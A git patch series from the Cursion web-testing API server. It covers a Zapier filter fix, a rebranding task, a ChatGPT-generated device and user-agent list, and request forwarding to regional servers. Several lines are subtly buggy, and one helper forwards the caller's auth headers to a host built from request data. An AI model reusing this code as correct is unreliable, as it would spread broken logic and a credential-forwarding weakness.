@@ -5322,7 +5322,7 @@ def get_testcases_zapier(request: object) -> object:
     """
 
     # get request data
-    passed = request.query_params.get('passed')
+    _status = request.query_params.get('status')
     account = Member.objects.get(user=request.user).account
     testcases = None
     
@@ -5346,9 +5346,9 @@ def get_testcases_zapier(request: object) -> object:
             time_completed=None,
         ).order_by('-time_created')
 
-    # filter by passed if requested
-    if passed is not None:
-        testcases = testcases.filter(passed=passed)
+    # filter by _status if requested
+    if _status is not None:
+        testcases = testcases.filter(status=_status)
 
     # build response data
     data = []

From 8c9ee7accdaf618e9671c080492f959c8eae3185 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 30 Sep 2024 15:41:13 -0600
Subject: [PATCH 0748/1099] fixed zapier endpoint for testcases

---
 app/api/v1/ops/services.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index f776b4a8..dac1edb2 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -5362,7 +5362,7 @@ def get_testcases_zapier(request: object) -> object:
             'time_created'    :  str(testcase.time_created),
             'time_completed'  :  str(testcase.time_completed),
             'configs'         :  testcase.configs,
-            'passed'          :  str(testcase.passed),
+            'status'          :  str(testcase.status),
         })
 
     # serialize and return

From b43a322af81fe36ae184809572a3b6c9d8cde023 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 1 Oct 2024 11:20:43 -0600
Subject: [PATCH 0749/1099] added script to change issue links

---
 app/api/tasks.py | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index a04594e5..f593b232 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2160,3 +2160,37 @@ def migrate_site_bg(
 
 
 
+
+
+@shared_task
+def update_links() -> None:
+
+    def update_strings(text) -> str:
+        if text is not None:
+            text = text.replace('Scanerr.io', 'Cursion.dev')
+            text = text.replace('scanerr.io', 'cursion.dev')
+            text = text.replace('Scanerr', 'Cursion')
+            text = text.replace('scanerr', 'cursion')
+        return text
+
+    for issue in Issues.objects.all():
+        
+        # update title
+        title = update_strings(issue.title)
+        issue.title = title
+        
+        # update trigger
+        trigger = update_strings(issue.trigger)
+        issue.trigger = trigger
+
+        # update details
+        details = update_strings(issue.details)
+        issue.details = details
+
+        # update affected
+        affected = update_strings(issue.affected)
+        issue.affected = affected
+
+        # save issue
+        issue.save()
+

From 2be8d46097bfa58d8f31fee8e585a26c8e586f1e Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 1 Oct 2024 11:30:20 -0600
Subject: [PATCH 0750/1099] fixed readme deployment badge

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 13ebd329..ae820eff 100644
--- a/README.md
+++ b/README.md
@@ -1,6 +1,6 @@
 # Cursion Server (API repo)
 
-![Build Status](https://github.com/cursion/server/actions/workflows/k8s-deploy.yaml/badge.svg)
+![Build Status](https://github.com/cursion-dev/server/actions/workflows/k8s-deploy.yaml/badge.svg)
 
 This is the server repo for the Cursion API, an error detection service designed to run front-end tests on web applications. This service is fully dockertized for local dev/testing as well as deployed environments. 
 

From ad5ca7291eeaf82e5408fa5ca255aec0fb3a8861 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 1 Oct 2024 11:43:56 -0600
Subject: [PATCH 0751/1099] fixing naming bug

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index f593b232..3938b6d5 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2173,7 +2173,7 @@ def update_strings(text) -> str:
             text = text.replace('scanerr', 'cursion')
         return text
 
-    for issue in Issues.objects.all():
+    for issue in Issue.objects.all():
         
         # update title
         title = update_strings(issue.title)

From 39324a254762a2fefdb7585001015deb76c56858 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 1 Oct 2024 12:06:36 -0600
Subject: [PATCH 0752/1099] fixing update links task

---
 app/api/tasks.py | 12 ------------
 1 file changed, 12 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 3938b6d5..dc3489d8 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2175,22 +2175,10 @@ def update_strings(text) -> str:
 
     for issue in Issue.objects.all():
         
-        # update title
-        title = update_strings(issue.title)
-        issue.title = title
-        
-        # update trigger
-        trigger = update_strings(issue.trigger)
-        issue.trigger = trigger
-
         # update details
         details = update_strings(issue.details)
         issue.details = details
 
-        # update affected
-        affected = update_strings(issue.affected)
-        issue.affected = affected
-
         # save issue
         issue.save()
 

From 764f6c26df8d9e6f4655c60742d2492e5eb7d449 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 1 Oct 2024 12:41:31 -0600
Subject: [PATCH 0753/1099] fixed all old links

---
 app/api/tasks.py | 23 -----------------------
 1 file changed, 23 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index dc3489d8..57676ce4 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2159,26 +2159,3 @@ def migrate_site_bg(
 
 
 
-
-
-
-@shared_task
-def update_links() -> None:
-
-    def update_strings(text) -> str:
-        if text is not None:
-            text = text.replace('Scanerr.io', 'Cursion.dev')
-            text = text.replace('scanerr.io', 'cursion.dev')
-            text = text.replace('Scanerr', 'Cursion')
-            text = text.replace('scanerr', 'cursion')
-        return text
-
-    for issue in Issue.objects.all():
-        
-        # update details
-        details = update_strings(issue.details)
-        issue.details = details
-
-        # save issue
-        issue.save()
-

From b7e6d808f6a739a891993e093d4a4823a2ed6770 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 2 Oct 2024 14:25:48 -0600
Subject: [PATCH 0754/1099] new updates for Issuer

---
 app/api/utils/issuer.py | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/app/api/utils/issuer.py b/app/api/utils/issuer.py
index b609c9e2..c36f61d3 100644
--- a/app/api/utils/issuer.py
+++ b/app/api/utils/issuer.py
@@ -97,9 +97,9 @@ def build_issue(self):
 
             # build intro
             intro = str(
-                f'Testcase [{self.testcase.case_name}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + 
+                f'### Testcase [{self.testcase.case_name}]({settings.CLIENT_URL_ROOT}/{trigger["type"]}/{trigger["id"]})' + 
                 f' failed on **Step {step_index}**, `{failed_step[step_type]["type"]}`.\n\n\n' +
-                f' **Affected Site:** [{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]})\n\n\n'
+                f' > Affected Site: [{affected["str"]}]({settings.CLIENT_URL_ROOT}/{affected["type"]}/{affected["id"]})\n\n\n'
             )
             
             # build main_issue

From 7cdb194f617c7ec64be88721b1e4674cb958eba3 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 10 Oct 2024 17:38:59 -0500
Subject: [PATCH 0755/1099] rolling out device & location testing

---
 .gitignore                  |   1 +
 app/api/tasks.py            |  36 +++++
 app/api/utils/devices.py    | 256 ++++++++++++++++++++++++++++++++++++
 app/api/utils/driver.py     |  41 +++---
 app/api/utils/imager.py     |   2 +-
 app/api/utils/lighthouse.py |   7 +-
 app/api/utils/yellowlab.py  |   9 +-
 app/api/v1/ops/services.py  | 114 ++++++++++++++++
 app/api/v1/ops/urls.py      |   3 +-
 app/api/v1/ops/views.py     |  10 ++
 app/cursion/settings.py     |   6 +-
 commands.txt                |  13 ++
 docker-compose.remote.yml   | 131 ++++++++++++++++++
 env/.env.dev.example        |   1 +
 env/.env.prod.example       |   2 +
 env/.env.stage.example      |   1 +
 16 files changed, 602 insertions(+), 31 deletions(-)
 create mode 100644 app/api/utils/devices.py
 create mode 100644 docker-compose.remote.yml

diff --git a/.gitignore b/.gitignore
index e1253eb3..15985a76 100644
--- a/.gitignore
+++ b/.gitignore
@@ -12,6 +12,7 @@ env/.env.local
 env/.env.dev
 env/.env.prod
 env/.env.stage
+env/.env.remote
 env/.env.prod.db
 
 app/data*
diff --git a/app/api/tasks.py b/app/api/tasks.py
index 57676ce4..a107e5e5 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -86,6 +86,27 @@ def check_and_increment_resource(account: object, resource: str) -> bool:
 
 
 
+def check_location(location: str) -> bool:
+    """ 
+    Determines if task should be executed based on 
+    passed location and curent system location (settings.LOCATION). 
+
+    Expects: {
+        'location': str
+    }
+
+    Returns: bool (True if task should run)
+    """
+
+    # compare location to system
+    if location == settings.LOCATION:
+        return True
+    if location != settings.LOCATION:
+        return False
+
+
+
+
 @shared_task(bind=True, base=BaseTaskWithRetry)
 def create_site_and_pages_bg(self, site_id: str=None, configs: dict=settings.CONFIGS) -> None:
     """ 
@@ -552,6 +573,11 @@ def create_scan_bg(self, *args, **kwargs) -> None:
     automation_id = kwargs.get('automation_id')
     task_id = kwargs.get('task_id')
 
+    # checking location
+    if not check_location(configs.get('location', settings.LOCATION)):
+        logger.info('Not running due to location param')
+        return None
+
     # setting defaults
     pages = []
     sites = []
@@ -933,6 +959,11 @@ def create_test_bg(self, *args, **kwargs) -> None:
     post_scan = kwargs.get('post_scan')
     task_id = kwargs.get('task_id')
 
+    # checking location
+    if not check_location(configs.get('location', settings.LOCATION)):
+        logger.info('Not running due to location param')
+        return None
+
     # create test if none was passed
     if test_id is None:
         
@@ -1321,6 +1352,11 @@ def create_testcase_bg(*args, **kwargs) -> None:
     task_id = kwargs.get('task_id')
     configs = kwargs.get('configs', settings.CONFIGS)
 
+    # checking location
+    if not check_location(configs.get('location', settings.LOCATION)):
+        logger.info('Not running due to location param')
+        return None
+
     # settign defaults 
     case = None
     steps = None
diff --git a/app/api/utils/devices.py b/app/api/utils/devices.py
new file mode 100644
index 00000000..d10e7dbd
--- /dev/null
+++ b/app/api/utils/devices.py
@@ -0,0 +1,256 @@
+# This is a ChatGPT generated list of devices
+# https://chatgpt.com/c/6706e3f9-d6f0-8004-8564-12947cc76e2b
+
+
+
+
+devices = [
+    {
+        "id": "1",
+        "name": "Google Pixel 5",
+        "window_size": "393,851",
+        "user_agent": "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Mobile Safari/537.36",
+        "browser": "chrome",
+        "type": "mobile"
+    },
+    {
+        "id": "2",
+        "name": "Samsung Galaxy S21",
+        "window_size": "412,915",
+        "user_agent": "Mozilla/5.0 (Linux; Android 12; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Mobile Safari/537.36",
+        "browser": "chrome",
+        "type": "mobile"
+    },
+    {
+        "id": "3",
+        "name": "iPhone 12 Pro",
+        "window_size": "390,844",
+        "user_agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
+        "browser": "chrome",
+        "type": "mobile"
+    },
+    {
+        "id": "4",
+        "name": "iPad Pro",
+        "window_size": "1024,1366",
+        "user_agent": "Mozilla/5.0 (iPad; CPU OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
+        "browser": "chrome",
+        "type": "tablet"
+    },
+    {
+        "id": "5",
+        "name": "Samsung Galaxy Tab S7",
+        "window_size": "800,1280",
+        "user_agent": "Mozilla/5.0 (Linux; Android 10; SM-T870) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
+        "browser": "chrome",
+        "type": "tablet"
+    },
+    {
+        "id": "6",
+        "name": "MacBook Pro 16",
+        "window_size": "1536,960",
+        "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
+        "browser": "chrome",
+        "type": "desktop"
+    },
+    {
+        "id": "7",
+        "name": "Windows 10 PC",
+        "window_size": "1920,1080",
+        "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
+        "browser": "chrome",
+        "type": "desktop"
+    },
+    {
+        "id": "8",
+        "name": "iMac 24-inch",
+        "window_size": "2560,1440",
+        "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
+        "browser": "chrome",
+        "type": "desktop"
+    },
+    {
+        "id": "9",
+        "name": "Chromebook Pixel",
+        "window_size": "1280,850",
+        "user_agent": "Mozilla/5.0 (X11; CrOS x86_64 14092.54.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36",
+        "browser": "chrome",
+        "type": "desktop"
+    },
+    {
+        "id": "10",
+        "name": "Google Pixel 5",
+        "window_size": "393,851",
+        "user_agent": "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/113.0.0 Mobile Safari/537.36",
+        "browser": "firefox",
+        "type": "mobile"
+    },
+    {
+        "id": "11",
+        "name": "Samsung Galaxy S21",
+        "window_size": "412,915",
+        "user_agent": "Mozilla/5.0 (Linux; Android 12; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/113.0.0 Mobile Safari/537.36",
+        "browser": "firefox",
+        "type": "mobile"
+    },
+    {
+        "id": "12",
+        "name": "iPhone 12 Pro",
+        "window_size": "390,844",
+        "user_agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
+        "browser": "firefox",
+        "type": "mobile"
+    },
+    {
+        "id": "13",
+        "name": "iPad Pro",
+        "window_size": "1024,1366",
+        "user_agent": "Mozilla/5.0 (iPad; CPU OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
+        "browser": "firefox",
+        "type": "tablet"
+    },
+    {
+        "id": "14",
+        "name": "Samsung Galaxy Tab S7",
+        "window_size": "800,1280",
+        "user_agent": "Mozilla/5.0 (Linux; Android 10; SM-T870) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/113.0.0 Safari/537.36",
+        "browser": "firefox",
+        "type": "tablet"
+    },
+    {
+        "id": "15",
+        "name": "MacBook Pro 16",
+        "window_size": "1536,960",
+        "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/113.0.0 Safari/537.36",
+        "browser": "firefox",
+        "type": "desktop"
+    },
+    {
+        "id": "16",
+        "name": "Windows 10 PC",
+        "window_size": "1920,1080",
+        "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/113.0.0 Safari/537.36",
+        "browser": "firefox",
+        "type": "desktop"
+    },
+    {
+        "id": "17",
+        "name": "iMac 24-inch",
+        "window_size": "2560,1440",
+        "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/113.0.0 Safari/537.36",
+        "browser": "firefox",
+        "type": "desktop"
+    },
+    {
+        "id": "18",
+        "name": "Chromebook Pixel",
+        "window_size": "1280,850",
+        "user_agent": "Mozilla/5.0 (X11; CrOS x86_64 14092.54.0) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/113.0.0 Safari/537.36",
+        "browser": "firefox",
+        "type": "desktop"
+    },
+    {
+        "id": "19",
+        "name": "Google Pixel 5",
+        "window_size": "393,851",
+        "user_agent": "Mozilla/5.0 (Linux; Android 11; Pixel 5) AppleWebKit/537.36 (KHTML, like Gecko) Edg/113.0.0.0 Mobile Safari/537.36",
+        "browser": "edge",
+        "type": "mobile"
+    },
+    {
+        "id": "20",
+        "name": "Samsung Galaxy S21",
+        "window_size": "412,915",
+        "user_agent": "Mozilla/5.0 (Linux; Android 12; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Edg/113.0.0.0 Mobile Safari/537.36",
+        "browser": "edge",
+        "type": "mobile"
+    },
+    {
+        "id": "21",
+        "name": "iPhone 12 Pro",
+        "window_size": "390,844",
+        "user_agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
+        "browser": "edge",
+        "type": "mobile"
+    },
+    {
+        "id": "22",
+        "name": "iPad Pro",
+        "window_size": "1024,1366",
+        "user_agent": "Mozilla/5.0 (iPad; CPU OS 14_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
+        "browser": "edge",
+        "type": "tablet"
+    },
+    {
+        "id": "23",
+        "name": "Samsung Galaxy Tab S7",
+        "window_size": "800,1280",
+        "user_agent": "Mozilla/5.0 (Linux; Android 10; SM-T870) AppleWebKit/537.36 (KHTML, like Gecko) Edg/113.0.0.0 Safari/537.36",
+        "browser": "edge",
+        "type": "tablet"
+    },
+    {
+        "id": "24",
+        "name": "MacBook Pro 16",
+        "window_size": "1536,960",
+        "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Edg/113.0.0.0 Safari/537.36",
+        "browser": "edge",
+        "type": "desktop"
+    },
+    {
+        "id": "25",
+        "name": "Windows 10 PC",
+        "window_size": "1920,1080",
+        "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edg/113.0.0.0 Safari/537.36",
+        "browser": "edge",
+        "type": "desktop"
+    },
+    {
+        "id": "26",
+        "name": "iMac 24-inch",
+        "window_size": "2560,1440",
+        "user_agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Edg/113.0.0.0 Safari/537.36",
+        "browser": "edge",
+        "type": "desktop"
+    },
+    {
+        "id": "27",
+        "name": "Chromebook Pixel",
+        "window_size": "1280,850",
+        "user_agent": "Mozilla/5.0 (X11; CrOS x86_64 14092.54.0) AppleWebKit/537.36 (KHTML, like Gecko) Edg/113.0.0.0 Safari/537.36",
+        "browser": "edge",
+        "type": "desktop"
+    }
+]
+
+
+
+
+# get device
+def get_device(browser: str=None, name: str=None) -> str:
+    """ 
+    Finds the specific device based on the 
+    browser and name provided.
+
+    Expects: {
+        "browser": str,
+        "name":    str,
+    }
+
+    Returns -> "device" dict
+    """
+
+    # setting default to 'Windows 10 PC'
+    selected = devices[6]
+
+    # iterate and search throguh devices 
+    for device in devices:
+        if device['browser'] == browser and device['name'] == 'name':
+            selected = device
+            break
+    
+    # return device
+    return selected
+
+
+
diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 9df25e54..740dbea3 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -2,6 +2,7 @@
 from selenium.webdriver.common.actions.action_builder import ActionBuilder
 from selenium.webdriver.firefox.options import Options
 from selenium.webdriver.firefox.firefox_profile import FirefoxProfile
+from .devices import get_device
 from datetime import datetime
 import time, os, sys, tempfile
 
@@ -13,7 +14,7 @@
 def driver_init(
         browser: str='chrome',
         window_size: str='1920,1080', 
-        device: str='desktop',
+        device: str='Windows 10 PC',
         script_timeout: int=30,
         load_timeout: int=30,
         wait_time: int=15, 
@@ -37,42 +38,32 @@ def driver_init(
     Returns -> driver object
     """
 
+    # get userAgent 
+    user_agent = get_device(browser, device)['user_agent']
+
     # deciding on browser
-    # UserAgents: https://www.whatismybrowser.com/guides/the-latest-user-agent/
+    # UserAgents are from utils/devices
     if browser == 'chrome':
         options = webdriver.ChromeOptions()
         options.binary_location = os.environ.get('CHROME_BROWSER')
-        mobile_user_agent = (
-            "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 " + 
-            "(KHTML, like Gecko) Chrome/127.0.6533.84 Mobile Safari/537.36"
-        )
     if browser == 'firefox':
         options = webdriver.FirefoxOptions()
         options.binary_location = os.environ.get('FIREFOX_BROWSER')
-        mobile_user_agent = (
-            "Mozilla/5.0 (Android 14; Mobile; rv:68.0) Gecko/68.0 Firefox/128.0"
-        )
     if browser == 'edge':
         options = webdriver.EdgeOptions()
         options.binary_location = os.environ.get('EDGE_BROWSER')
-        mobile_user_agent = (
-            "Mozilla/5.0 (Linux; Android 10; HD1913) AppleWebKit/537.36" +
-            "(KHTML, like Gecko) Chrome/127.0.6533.103 Mobile " +
-            "Safari/537.36 EdgA/127.0.2651.90"
-        )
-
 
     # setting up browser configs
     sizes = window_size.split(',')
     width = int(sizes[0])
     height = int(sizes[1])
-    mobile_emulation = {
+    emulation = {
         "deviceMetrics": { 
             "width": width, 
             "height": height,
             "pixelRatio": pixel_ratio 
         },
-        "userAgent": mobile_user_agent
+        "userAgent": user_agent
     }
 
     # setting broswer options for chrome
@@ -84,12 +75,13 @@ def driver_init(
         options.add_argument("ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")
         options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
+        options.add_argument(f"--user-agent={user_agent}")
         options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
         options.page_load_strategy = 'none'
         
-        # setting to mobile if reqeusted
-        if device == 'mobile':
-            options.add_experimental_option("mobileEmulation", mobile_emulation)
+        # setting to mobile or tablet if reqeusted
+        if device == 'mobile' or device == 'tablet':
+            options.add_experimental_option("mobileEmulation", emulation)
         
         # init driver
         driver = webdriver.Chrome(options=options)
@@ -109,7 +101,7 @@ def driver_init(
         # setting to mobile if reqeusted
         if device == 'mobile':
             options.set_preference(
-                "general.useragent.override", f"userAgent={mobile_user_agent}"
+                "general.useragent.override", f"userAgent={user_agent}"
             )
         
         # init driver
@@ -124,12 +116,13 @@ def driver_init(
         options.add_argument("ignore-certificate-errors")
         options.add_argument("--hide-scrollbars")
         options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
+        options.add_argument(f"--user-agent={user_agent}")
         options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
         options.page_load_strategy = 'none'
         
-        # setting to mobile if reqeusted
-        if device == 'mobile':
-            options.add_experimental_option("mobileEmulation", mobile_emulation)
+        # setting to mobile or tablet if reqeusted
+        if device == 'mobile' or device == 'tablet':
+            options.add_experimental_option("mobileEmulation", emulation)
         
         # init driver
         driver = webdriver.Edge(options=options)
diff --git a/app/api/utils/imager.py b/app/api/utils/imager.py
index 8750df44..d23d2751 100644
--- a/app/api/utils/imager.py
+++ b/app/api/utils/imager.py
@@ -180,7 +180,7 @@ def scan_vrt(self, driver: object=None) -> list:
         # defining browser demesions
         sizes = self.scan.configs.get('window_size', '1920,1080').split(',')
 
-        # calculating and suto setting page height
+        # calculating and auto setting page height
         if self.scan.configs.get('auto_height', True):
 
             # get scroll_height, client_height & set window_size
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index 48e092ad..83c0ee46 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -1,5 +1,6 @@
 import subprocess, json, uuid, boto3, os, requests
 from ..models import Site, Scan
+from .devices import get_device
 from cursion import settings
 
 
@@ -23,6 +24,10 @@ def __init__(self, scan=None):
         self.configs = scan.configs
         self.sizes = scan.configs['window_size'].split(',')
         self.audits_url = ''
+        self.device_type = get_device(
+            scan.configs['browser'], 
+            scan.configs['device']
+        )
 
         # initial scores object
         self.scores = {
@@ -64,7 +69,7 @@ def lighthouse_cli(self):
                 '--chrome-flags="--no-sandbox --headless --disable-dev-shm-usage"', 
                 f'--screenEmulation.width={self.sizes[0]}',
                 f'--screenEmulation.height={self.sizes[1]}',
-                f'--screenEmulation.{self.configs["device"]}',
+                f'--screenEmulation.{self.device_type}',
                 '--output',
                 'json', 
             ], 
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 52903297..908824ff 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -1,5 +1,6 @@
 import subprocess, json, uuid, boto3, os, requests, time
 from ..models import Site, Scan
+from .devices import get_device
 from cursion import settings
 
 
@@ -22,6 +23,10 @@ def __init__(self, scan=None):
         self.page = self.scan.page
         self.configs = scan.configs
         self.audits_url = ''
+        self.device_type = get_device(
+            scan.configs['browser'], 
+            scan.configs['device']
+        )
 
         # initial audits object
         self.audits = {
@@ -65,7 +70,7 @@ def yellowlab_cli(self):
         proc = subprocess.Popen([
                 'yellowlabtools',
                 self.page.page_url,
-                f'--device={self.configs["device"]}'
+                f'--device={self.device_type}'
                 ], 
             stdout=subprocess.PIPE,
             user='app',
@@ -96,7 +101,7 @@ def yellowlab_api(self) -> dict:
         data = {
             "url": self.page.page_url,
             "waitForResponse": True,
-            "device": self.configs["device"]
+            "device": self.device_type
         }
 
         # setting up initial request
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index dac1edb2..332a435e 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -19,6 +19,7 @@
 from ...utils.wordpress import Wordpress as W
 from ...utils.caser import Caser
 from ...utils.crawler import Crawler
+from ...utils.devices import devices
 import json, boto3, asyncio, os, requests, uuid, secrets
 
 
@@ -428,6 +429,62 @@ def check_resource(account: object, resource: str) -> bool:
 
 
 
+
+def check_location(request: None, local: None) -> dict:
+    """ 
+    Reroutes a request to a geo-specific 
+    instance of Cursion Server. 
+
+    Expcets: {
+        'request': obj,
+        'local'  : str,
+    }
+
+    Returns: data: {
+        'routed': bool (True if request was forwarded)
+        'response': obj (HTTP response from forwarded request)
+    }
+    """
+
+    # set defaults
+    routed = False
+    response = None
+
+    # checking if request was passed
+    if request:
+
+        # get user and account
+        user = request.user
+        account = Member.objects.get(user=user).account
+
+        # get configs obj & location
+        configs = request.data.get('configs', account.configs)
+        location = local if local else configs.get('location', settings.LOCATION)
+
+        # get path, headers, & url
+        path = request.path
+        headers = request.headers
+        root = settings.API_URL_ROOT.lstrip('https://')
+        url = f'https://{location}-{root}{path}'
+
+        # check location and forward request
+        if location != settings.LOCATION:
+            routed = True
+            response = requests.post(
+                url=url,
+                headers=headers,
+                data=request.data
+            )
+    
+    # return data
+    data = {
+        'routed': routed,
+        'response': response
+    }
+    return data
+
+
+
     
 ### ------ Begin Site Services ------ ###
 
@@ -1470,6 +1527,11 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
     Returns -> dict or HTTP Response object
     """
 
+    # check location
+    location_data = check_location(request)
+    if location_data['routed']:
+        return location_data['response']
+
     # get request data
     if request is not None:
         site_id = request.data.get('site_id', '')
@@ -1625,6 +1687,11 @@ def create_many_scans(request: object) -> object:
     Returns -> HTTP Response object
     """
 
+    # check location
+    location_data = check_location(request)
+    if location_data['routed']:
+        return location_data['response']
+
     # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
@@ -2101,6 +2168,11 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
     Returns -> dict or HTTP Response object
     """
 
+    # check location
+    location_data = check_location(request)
+    if location_data['routed']:
+        return location_data['response']
+
     # get data from request
     if request is not None:
         configs = request.data.get('configs', None)
@@ -2324,6 +2396,11 @@ def create_many_tests(request: object) -> object:
     Returns -> HTTP Response object
     """
 
+    # check location
+    location_data = check_location(request)
+    if location_data['routed']:
+        return location_data['response']
+
     # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
@@ -3668,6 +3745,12 @@ def run_schedule(request: object) -> object:
     perodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
     task_kwargs = json.loads(perodic_task.kwargs)
 
+    # check location
+    local = schedule.extras['configs'].get('location', settings.LOCATION)
+    location_data = check_location(request, local)
+    if location_data['routed']:
+        return location_data['response']
+
     # decidign on which task 
     if task == 'scan':
         # run create_scan_bg
@@ -4814,6 +4897,11 @@ def create_auto_cases(request: object) -> object:
     
     Returns -> HTTP Response object
     """
+    
+    # check location
+    location_data = check_location(request)
+    if location_data['routed']:
+        return location_data['response']
 
     # get request data
     site_id = request.data.get('site_id')
@@ -5074,6 +5162,11 @@ def create_testcase(request: object, delay: bool=False) -> object:
     Returns -> HTTP Response object
     """
 
+    # check location
+    location_data = check_location(request)
+    if location_data['routed']:
+        return location_data['response']
+
     # get request data
     case_id = request.data.get('case_id')
     site_id = request.data.get('site_id')
@@ -5700,6 +5793,27 @@ def search_resources(request: object) -> object:
 
 
 
+def get_devices(request: object) -> object:
+    """ 
+    Retrieves a list of all Cursion "devices"
+    
+    Expects: None
+
+    Returns -> HTTP Response object
+    """
+    
+    # format data
+    data = {
+        'devices': devices
+    }
+
+    # return response
+    response = Response(data, status=status.HTTP_200_OK)
+    return response
+
+
+
+
 ### ------ Begin Metrics Services ------ ###
 
 
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index f83a2aef..b13d49dd 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -3,7 +3,6 @@
 
 
 urlpatterns = [
-    path('search', views.Search.as_view(), name='search'),
     path('site', views.Sites.as_view(), name='site'),
     path('site/<uuid:id>', views.SiteDetail.as_view(), name='site-detail'),
